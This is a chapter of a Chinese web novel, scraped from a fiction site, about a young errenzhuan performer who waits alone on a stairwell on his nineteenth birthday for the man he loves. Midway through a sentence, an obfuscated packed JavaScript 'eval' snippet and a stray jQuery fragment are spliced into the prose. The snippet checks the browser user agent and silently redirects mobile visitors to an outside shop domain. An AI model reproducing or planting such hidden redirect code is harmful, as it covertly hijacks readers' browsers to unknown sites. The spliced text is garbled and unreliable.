文趣网 > 都市小说 > 戏中人(娱乐圈) > 22. 徐烽归来
    江昊演完,剧场内陷入寂静,一时没人反应过来。

    “好!!!”

    坐在李老板后排的老大爷首先叫了一声好。

    紧接着,

    “好!”、“好!”、“好!”……叫好声接连响起。

    许多人站起来,用力拍着手,脸上带着敬意。

    “好!唱得好!”

    “这才是二人转!”

    “绝了!真绝了!”

    “现在居然还听见这么对味的正戏,这趟没白来!”

    ……

    喝彩声此起彼伏。

    许多年轻人是第一次听正戏,江昊彻底改变了他们对二人转的观感。

    有些年纪大的人,没想到现在还有人能把正戏传承下来,看着江昊有种挖到宝的惊喜。

    李老板用带着欣赏的眼神望着台上一袭青衫的年轻人,对旁边服务生招了招手,低声吩咐一句。

    一个缀满鲜花的花篮被抬上来,放在舞台最前方。

    “谢李老板赏!”主持人及时跳出来吼了一句。

    接着,李老板的朋友,以及后排的老大爷,还有许多观众,纷纷送花篮。

    一时间花篮多得快把舞台淹没。

    主持人乐得合不拢嘴,忙来忙去道谢。

    幕布在雷鸣般的掌声中合拢。

    江昊走向后台。

    马祥军和许经理赶忙迎上,脸上带着热切笑意。

    江昊的脚伤还没好,仍然有点瘸,他尽量挺直了脊背,走向那条独属于他自己的路。

    没用人扶。

    到了后台自己的位置,江昊坐下来,才发现早已经汗透脊背。

    大家团团围上,七手八脚给他递水擦汗。

    “太厉害了昊子!你这嗓子,百年不出一个!”

    “你是怎么唱这么好的?教教我呗!”

    “我刚才听得好感动!”

    一片七嘴八舌的赞誉声中,马祥军有些担忧地说:“昊子你今天咋哭了……”

    江昊接过不知谁递来的毛巾,胡乱在脸上抹了一把,将泪痕擦去。再抬头时,那副玩世不恭的面具已重新戴上,戴得比以往更加严实。

    “我哭是入戏,入戏懂不懂?”他声音还哑着,语气却恢复了吊儿郎当的劲,“自己不进戏,怎么带观众进戏?”

    马祥军见江昊这么说,便住了嘴。

    许经理眼珠一转,知道江昊在想什么,挥手驱散众人,“行了行了,昊子演完了,大家都散了吧,昊子还有脚伤,咱们别烦他,让他歇会儿。”

    人群渐渐散开,不再围着江昊。

    江昊拄着桌沿站起身,朝门口走去。

    “你去哪儿?”许经理在他身后问。

    “老地方。”江昊说。

    老地方是指楼梯口

    没有人再跟上去。

    大家都默认了那个规矩:江昊去楼梯口的时候,别的演员不会去。

    那是场子里不成文的规矩,选长得好的,散场后在楼梯口“偶遇”贵客。

    江昊刚来剧场时年纪小,就已经被公认是最漂亮那个,这几年渐渐长开,身高抽条,盘靓条顺,他的漂亮再也掩盖不住,在一群奇形怪状的二人转演员里,像一颗明珠般熠熠生辉。

    他本来不爱去,最初他还抱着靠唱戏来吸引观众的天真想法,后来现实给他上了一课,他也就明白了。

    总不能让红姐或者其他小姑娘去,他们将来还得嫁人呢,得留个清白名声。他觉得自己好歹是个糙老爷们,有把子力气,不能真出什么事,再加上孤家寡人,无牵无挂,没什么可在乎的。

    于是楼梯口就成了他的地盘,成了他工作的一部分。

    四年了。

    他在那里遇到过形形色色的人,抽过无数根烟,喝过无数罐酒,醉倒过无数回,每次都是马祥军把他挪到剧场临时休息室里对付一晚。

    他几乎是带着自毁的意味在喝酒,没有酒精的麻醉日子根本过不下去,马祥军都习惯了“捡尸”,那天远远看见江昊勾住了徐烽,马祥军才没过去。

    徐烽从来不知道,所谓楼梯口初遇,根本不是巧遇,其实是江昊在那里等了他四年。

    “昊子……”许经理看着江昊倔强的背影,几步追上去,声音里有些愧疚,“哥对不住你,早知道这事会变成今天这样,当初我就不该让你去楼梯口……”

    江昊脚步顿住。

    “经理,你想多了。是我自己愿意去的,跟任何人都没关系。”

    许经理看着他这副样子,心里更难受,拿出一个鼓鼓的红包:

    “这是大家一点心意,我们知道你不喜欢礼物,给你买东西不如直接给钱,大家凑了凑,你收下吧。”

    许经理把红包硬塞进江昊兜里。

    “生日快乐。”

    江昊笑了,按了按红包,“哟,这么多呀,经理今天可真大方,过生日真好,有钱收,希望我天天过生日。”

    “要不然等大家收拾完了,还是咱们一起吃顿饭吧,给你庆祝庆祝。”许经理提议。

    “不用,真不用,”江昊摇摇头,“我还是想一个人歇歇,我一点事没有,脚也好了,我还能演,你看,我今天不是演得很成功吗?”

    何止成功,简直太成功,许经理现在感觉江昊连下了台都在演。

    “我从小看你到大,我还能不了解你心里咋回事?”

    许经理搓了把脸,声音带着股江湖人的糙理,“昊子,干这行迎来送往……什么都不能当真,你这样,最后受苦的是你自己。”

    他叹了口气,“早知道,当初我就该劝你多捞点,哪怕让他出钱送你去音乐学院也好!不至于像现在,人财两空……”

    江昊终于完全转过身来。

    “经理,你说什么呢,别说这些,没意思,我是什么人你不是不知道。”江昊垂下眼睛,“徐烽也不是那种人。”

    “你还替他说话?要不是他,你能这样?”

    “我哪样了?”江昊反问,“徐烽有什么错?人家就是不来看我演出而已,你不也说了,不来是正常的吗?你说的咱们这行,人走人留,都正常。”

    “可是那天晚上,徐烽送你回家,你就那么放心他什么也没干……”

    “他就是什么也没干,哦不对,他给我收拾房间来着。”

    江昊回忆起初相识。

    “那是我家第一次那么干净,我那时还以为他跟别人一样有所图,实际上,他唯一占的便宜,就是抢走我一个奥特曼。”

    许经理无语了,看着江昊那副认真维护徐烽的样子,又是心疼又是气恼,最终只能摆摆手,“得得得,快拉你的客去吧。”

    江昊对许经理笑笑,独自来到楼梯口。

    这里一个人都没有,有点凄清。

    靠着斑驳的墙壁,坐到台阶上,从兜里摸出长白山烟盒,抖出一根,叼在嘴里。

    打火机蹿出火苗,映亮他空茫的眼睛。

    烟点燃,深吸一口,辛辣的烟雾涌入肺腑。

    熟悉的味道,就像一个老朋友在安慰他。

    其实真要说心里话江昊也不是很爱抽烟,烟这玩意儿有啥好抽的呢,抽得嘴里直发苦,吃饭都品不出味道。

    可是问题在于,不抽烟,他还能干什么呢。

    他总得干点啥打发时间,不能让自己停下来,一停下来容易胡思乱想,老想起爹妈还在世时的生活。

    有时候做梦,梦见一家人在一起。

    他在梦里疑惑,爸妈,你们不是死了吗?

    爸爸笑着打他的头,胡说八道,老子这不是活得好好的。

    妈妈在厨房向他招手,过来,我给你包的酸菜馅饺子,快趁热吃。

    他走过去吃饺子,吃着吃着就醒了。

    醒了之后,自己包饺子。

    一包包一宿。

    包

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883045|212491||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    到天亮,把饺子带去剧场分给大家吃,红姐说昊子你咋不吃,江昊就说我在家吃过了。

    他喜欢在楼道里腌几大缸酸菜就是因为这个,年年腌酸菜,年年包饺子,年年都不吃。

    江昊仰起头,朝着昏暗的空气吐出一串灰白烟圈,看着它们在空中变形消散,如同某些抓不住的幻梦。

    门外隐约传来散场的喧闹声,脚步声,说笑声……渐渐远去。

    世界重归寂静。

    江昊闭上眼,将头埋进臂弯里,第一次发现楼梯间怎么这么冷。

    说是在这里拉客,其实这么多年他从来没给过人好脸色,客户受不了他的脾气,骂一句“装什么装,就是个二椅子”,然后走掉。

    或者有人再过分一点,真动手动脚,那他也不吃亏,王老板就是个例子。

    只有徐烽。

    徐烽把他身上的刺一根根捋平了,抚顺了,笨拙又诚恳。

    在江昊面前,徐烽从来没有拿过架子,一点也不像别的有钱人那么讨厌。

    他给江昊一种平等的错觉。

    这种错觉让江昊觉得温暖,从爹妈死后,再也没有感觉到的温暖。

    可是等江昊依恋上温暖之后,徐烽悄无声息地不再来了——就像其他客人那样。

    如果前两天还能用“他有事”来当借口安慰自己,那么今天,是他和徐烽约定好的日子,徐烽的失约,再也找不到一丝一毫借口。

    他清楚记得三天前徐烽答应会来的。

    幸亏没告诉徐烽今天是自己生日,就让徐烽以为只是错过一次普通的剧场拉人活动吧。

    江昊一根接一根抽烟,很快堆了一地烟头,烟抽得太多,已经分辨不出烟是什么味道,舌头变得麻木。

    不知过去多久,拿出手机,手机上没有任何陌生号码的未接来电。

    他天天打电话去雪鼎地产集团,每次得到的回复都是徐总正在忙,请勿打扰。

    或许再向别人打听打听,能问到徐烽的私人电话,但他实在没那么厚脸皮。能打到前台,已经耗尽所有勇气。

    就算得到徐烽私人电话又怎样,他能跟徐烽聊什么?难道埋怨徐烽怎么不来看戏吗?他有什么立场说这种话?

    手机上显示时间到了十二点整。

    “生日快乐。”

    江昊在心里对自己说。

    “要记得快乐。”

    手机上的数字变成了十二点零一分,接着没电自动关机。

    他的十九岁生日就这样过去了。

    夜深以后,剧场停暖,温度变低,寒冷将他一点点吞噬。

    或许应该回后台拿件羽绒服来。

    这个时间估计快要锁门了。

    不管怎么说,在初相遇的地方等他到十二点也够了。

    走吧。

    江昊揉了揉发麻的腿,正准备站起身。

    就在这时,

    一个身影,挟裹着一身凛冽的风雪,冲了过来,停在台阶下。

    投下的阴影,将他完全笼罩。

    江昊心跳加快。

    这一刻,甚至不敢抬头。

    如果抬起头,看见了不是,怎么办?

    烟还在烧,灰积了长长一截,他没有弹烟灰,叼着烟,一动不动。

    终于,江昊狠狠心,孤注一掷地抬起头。

    模糊的烟雾中,看到那张熟悉的脸。

    徐烽就站在那里。

    肩头落满雪花,发梢被雪水打湿,凌乱地贴在额角,脸被冻得通红,呼吸间全是白气,嘴唇有些干裂起皮。

    他剧烈喘着气,胸膛一起一伏,像是经历了长途跋涉,像是跨越山海好不容易才赶来一样。

    他的眼睛一眨不眨地凝视着自己。

    四目相对。

    隔着昏暗的光线,隔着冰冷的空气,隔着三天漫长如三年的等待。

    江昊嘴里的烟啪嗒一声,掉落在台阶上。